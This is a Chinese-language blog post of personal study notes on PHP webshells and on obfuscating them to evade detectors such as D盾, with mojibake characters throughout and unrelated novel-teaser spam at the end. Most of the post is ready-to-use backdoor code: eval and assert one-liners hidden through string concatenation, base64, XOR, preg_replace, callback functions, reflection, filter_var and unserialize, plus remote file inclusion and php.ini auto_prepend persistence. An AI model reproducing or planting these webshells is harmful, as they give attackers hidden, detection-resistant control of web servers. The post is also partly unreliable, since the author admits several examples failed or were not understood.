初識webshell及免殺基礎(chǔ)

初識Webshell:

上傳Webshell的目的:

1.權(quán)限維持九妈,方便下次連接控制系統(tǒng)
2.權(quán)限提升乳丰,利用某些漏洞將權(quán)限提升至管理員權(quán)限
3.做跳板機(jī)--探測,攻擊內(nèi)網(wǎng)其他服務(wù)器
4.備份下載數(shù)據(jù)庫文件或者其他重要文件
5.DDoS攻擊--黑灰產(chǎn)DDoS攻擊需求高
6.挖礦--例如利用JS挖掘門羅幣
7.黑帽SEO ,流量劫持;提升在搜索引擎的排名
8.網(wǎng)頁掛馬--攻擊訪問者
9.充當(dāng)代理服務(wù)器

上傳WebShell的利用途徑:

  1. 登陸管理后臺
  2. 文件上傳
  3. 代碼執(zhí)行&命令執(zhí)行
  4. Web服務(wù)器文件解析漏洞
  5. SQL注入
  6. 文件包含
  7. 未授權(quán)訪問
  8. 弱口令&暴力破解

WebShell變形技術(shù)——繞過檢測:

  1. 關(guān)鍵字混淆
  2. 外調(diào)惡意代碼
  3. 配置文件隱藏
  4. 文件包含
  5. 正則函數(shù)
  6. 回調(diào)函數(shù)
  7. 注釋類后們
  8. 反射函數(shù)
  9. 過濾器函數(shù)后門
  10. 反序列化

最簡單明了的webshell:

# shell.php
<?php @eval($_POST['cmd']);?>
關(guān)鍵字混淆——拼接:

拼接:將一些關(guān)鍵函數(shù)拆分寡键,然后拼接媳溺,使得WebShlel檢測系統(tǒng)無法匹配到關(guān)鍵字

# shell2.php
<?php
$a='a';
$b='ert';
$c=$a.'ss'.$b;  //assert
$c($_GET['cmd']);
?>
# shell3.php
<?php
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}
[/*-/*-*/123/*-/*-*/]);
?>
# shell4.php
<?php
$a='chr';
$b=$a(97).$a(115).$a(115).$a(101).$a(114).$a(116);  //assert
$b($_POST['test']);
?>
關(guān)鍵字混淆——加解密:

加解密:將關(guān)鍵代碼加密后解密月幌,能逃避一些沒解密還原或還原程度不夠的WebShell檢測系統(tǒng)

# shell5.php
<?php
$a=base64_decode('YXNzZXJ0');//assert
$b=base64_decode('X0dFVA==');//_GET
$a(${$b}['test']);
?>
關(guān)鍵字混淆——異或類生成新字符:

異或類生成新字符:生成新字符,逃避檢測系統(tǒng)對關(guān)鍵字的檢測

# shell6.php
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"<0x06>").($_[+""]|"D").($_[+""]^"<0x15>"); //GET
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
# shell7.php
<?php
@$_++;  // $_ = 1
$__=("#"^"|");  // $__ = POST
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
@eval(${$__}[!$_]); //PASS:0
?>

php我沒系統(tǒng)學(xué)過悬蔽,這里沒看懂扯躺,以后有機(jī)會學(xué)php的話再來解釋,先記錄下來蝎困。
2021/3/18-補(bǔ)充:

#!/usr/bin/python
# -*- coding: utf-8 -*-
a= '#./|{'
b= '|~`//'
result_list = []
count = 0
if len(a)>len(b):
    for line in b:
        c=ord(a[count])
        d=ord(line)
        result = chr(c^d)
        print(result)
        result_list.append(result)
        count += 1
else:
    for line in a:
        c=ord(b[count])
        d=ord(line)
        result = chr(c^d)
        print(result)
        result_list.append(result)
        count += 1
decode_result = ''
for key in result_list:
    decode_result += key
print(decode_result)
#!/usr/bin/python
# -*- coding: utf-8 -*-

a= '`~·!@#$%^&*()_+{}[];\':|\"\\,./<>?/*-123456789asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM'
b= '`~·!@#$%^&*()_+{}[];\':|\"\\,./<>?/*-123456789asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM'
result_list = []
count = 0
for a_line in a:
    for b_line in b:
        if chr(ord(a_line)^ord(b_line))=='e':
            print("e: " + a_line + '\t' + b_line)
        elif chr(ord(a_line)^ord(b_line))=='v':
            print("v: " + a_line + '\t' + b_line)
        elif chr(ord(a_line)^ord(b_line))=='a':
            print("a: " + a_line + '\t' + b_line)
        elif chr(ord(a_line)^ord(b_line))=='l':
            print("l: " + a_line + '\t' + b_line)

D盾查殺測試:

2.外調(diào)惡意代碼:

將真正的惡意代碼隱藏在本地的一些圖片录语,附件類文件里,或者使用遠(yuǎn)程下載的方式來逃避WebShell檢測系統(tǒng)的識別
涉及的一些函數(shù):file_get_contents禾乘,curl澎埠,include,require盖袭,file等

# test.php
<?php
$a = $_GET['file'];
@include($a);
?>

上傳圖片馬(做好隱藏)失暂,然后通過include包含解析

如果想將惡意代碼隱藏在其他服務(wù)器彼宠,我們使用HTTP,F(xiàn)TP去下載弟塞,不過前提是在php的配置文件php.ini中滿足以下:

allow_url_fopen = On
allow_url_include = On

3.配置文件隱藏:

我們可以隱藏的配置文件如php.ini, .user.ini凭峡,.htaccess,下面以php.ini為例,在其配置文件中:

auto_prepend_file=“/file.php/” 相當(dāng)于在php腳本頭部include
auto_append_file=“/file.php/” 相當(dāng)于在php腳本底部include

注:auto_prepend_file 與 auto_append_file 只能require一個php文件决记,但這個php文件內(nèi)可以require多個其他的php文件摧冀。

4.文件包含:

通過包含文件來執(zhí)行后門,這里介紹通過php流來達(dá)到后門文件的效果系宫。
文件包含函數(shù):Include,include_once,requiue ,require_once

這里利用之前提到的一個后門文件:

# test2.php
<?php @include($_GET['file']);?>

這里復(fù)現(xiàn)失敗了索昂,應(yīng)該是環(huán)境原因,先放著扩借。

正則函數(shù):

使用正則函數(shù)preg_replace當(dāng)作后門椒惨,能有效的混淆Web管理員和一些檢測系統(tǒng)的查殺

# test3.php
<?php
$a=preg_replace("/d/","ss","adert");
$b=$_GET['cmd'];
$a($b)
?>

回調(diào)函數(shù):

回調(diào)函數(shù)類后門是一個比較隱藏的后門類型,正是由于其不多見潮罪,一些WebShell的檢測系統(tǒng)不會很嚴(yán)格的去檢測這些函數(shù)康谆。

可以做回調(diào)后門的一些函數(shù):
call_user_func,call_user_func_array嫉到,array_filter沃暗,array_map,array_reduce何恶,array_udiff孽锥,array_walk,array_walk_recursive

# test4.php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
?>

原理:array_filter() 函數(shù)把輸入數(shù)組中的每個鍵值傳給回調(diào)函數(shù)细层。如果回調(diào)函數(shù)返回 true惜辑,則把輸入數(shù)組中的當(dāng)前鍵值返回給結(jié)果數(shù)組
"YXNzZXJ0"經(jīng)過base64解碼后為"assert",回調(diào)函數(shù)為assert疫赎,參數(shù)pass傳輸?shù)臄?shù)據(jù)會直接傳給assert函數(shù)執(zhí)行韵丑。

詳情請參考:php回調(diào)后門,php過WAF一句話,php最新一句話,php過狗一句話

注釋類后門:

一些WebShell的檢測可能會忽略注釋,而我們正好可以利用這一點(diǎn)

# test5.php
<?php
/**
* eval($_GET[m]);
*/

class Test { }
$rc = new ReflectionClass('Test'); //建立反射類的一個對象
$comment = $rc->getDocComment(); //執(zhí)行反射類的一個成員函數(shù)虚缎,獲取完整的注釋撵彻。

$pos1 = strpos($comment,'eval'); //標(biāo)記eval開始的位置
$pos2 = strpos($comment,';'); //標(biāo)記結(jié)束的位置
$len = $pos2 - $pos1 + 1; //獲取語句長度
$cmd = substr($comment,$pos1,$len); //按長度截取字符串

eval($cmd);
?>

有點(diǎn)問題

反射函數(shù):

通過反射函數(shù)構(gòu)造WebShell

# test6.php
<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

過濾器后門:

FILTER_CALLBACK 過濾器隱藏我們的后門文件

# test7.php
<?php
filter_var($_REQUEST['op'],FILTER_CALLBACK,array('options' => 'assert'));
?>

反序列化后門:

通過php的序列化和反序列化,我們也能制作一個WebShell后門

# test8.php
<?php
class A{
    var $test = 'demo';
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "0:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);

有點(diǎn)問題

D盾查殺檢測:

總結(jié)一下实牡,不懂php感覺沒啥收獲陌僵,有點(diǎn)后悔記錄這篇文章了。创坞。碗短。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者题涨。
  • 序言:七十年代末偎谁,一起剝皮案震驚了整個濱河市总滩,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌巡雨,老刑警劉巖闰渔,帶你破解...
    沈念sama閱讀 218,546評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異铐望,居然都是意外死亡冈涧,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,224評論 3 395
  • 文/潘曉璐 我一進(jìn)店門正蛙,熙熙樓的掌柜王于貴愁眉苦臉地迎上來督弓,“玉大人,你說我怎么就攤上這事乒验∮匏恚” “怎么了?”我有些...
    開封第一講書人閱讀 164,911評論 0 354
  • 文/不壞的土叔 我叫張陵锻全,是天一觀的道長奸攻。 經(jīng)常有香客問我,道長虱痕,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,737評論 1 294
  • 正文 為了忘掉前任辐赞,我火速辦了婚禮部翘,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘响委。我一直安慰自己新思,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,753評論 6 392
  • 文/花漫 我一把揭開白布赘风。 她就那樣靜靜地躺著夹囚,像睡著了一般。 火紅的嫁衣襯著肌膚如雪邀窃。 梳的紋絲不亂的頭發(fā)上荸哟,一...
    開封第一講書人閱讀 51,598評論 1 305
  • 那天,我揣著相機(jī)與錄音瞬捕,去河邊找鬼鞍历。 笑死,一個胖子當(dāng)著我的面吹牛肪虎,可吹牛的內(nèi)容都是我干的劣砍。 我是一名探鬼主播,決...
    沈念sama閱讀 40,338評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼扇救,長吁一口氣:“原來是場噩夢啊……” “哼刑枝!你這毒婦竟也來了香嗓?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,249評論 0 276
  • 序言:老撾萬榮一對情侶失蹤装畅,失蹤者是張志新(化名)和其女友劉穎靠娱,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體洁灵,經(jīng)...
    沈念sama閱讀 45,696評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡饱岸,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,888評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了徽千。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片苫费。...
    茶點(diǎn)故事閱讀 40,013評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖双抽,靈堂內(nèi)的尸體忽然破棺而出百框,到底是詐尸還是另有隱情,我是刑警寧澤牍汹,帶...
    沈念sama閱讀 35,731評論 5 346
  • 正文 年R本政府宣布铐维,位于F島的核電站,受9級特大地震影響慎菲,放射性物質(zhì)發(fā)生泄漏嫁蛇。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,348評論 3 330
  • 文/蒙蒙 一露该、第九天 我趴在偏房一處隱蔽的房頂上張望睬棚。 院中可真熱鬧,春花似錦解幼、人聲如沸抑党。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,929評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽底靠。三九已至,卻和暖如春特铝,著一層夾襖步出監(jiān)牢的瞬間暑中,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,048評論 1 270
  • 我被黑心中介騙來泰國打工鲫剿, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留痒芝,地道東北人。 一個月前我還...
    沈念sama閱讀 48,203評論 3 370
  • 正文 我出身青樓牵素,卻偏偏與公主長得像严衬,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子笆呆,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,960評論 2 355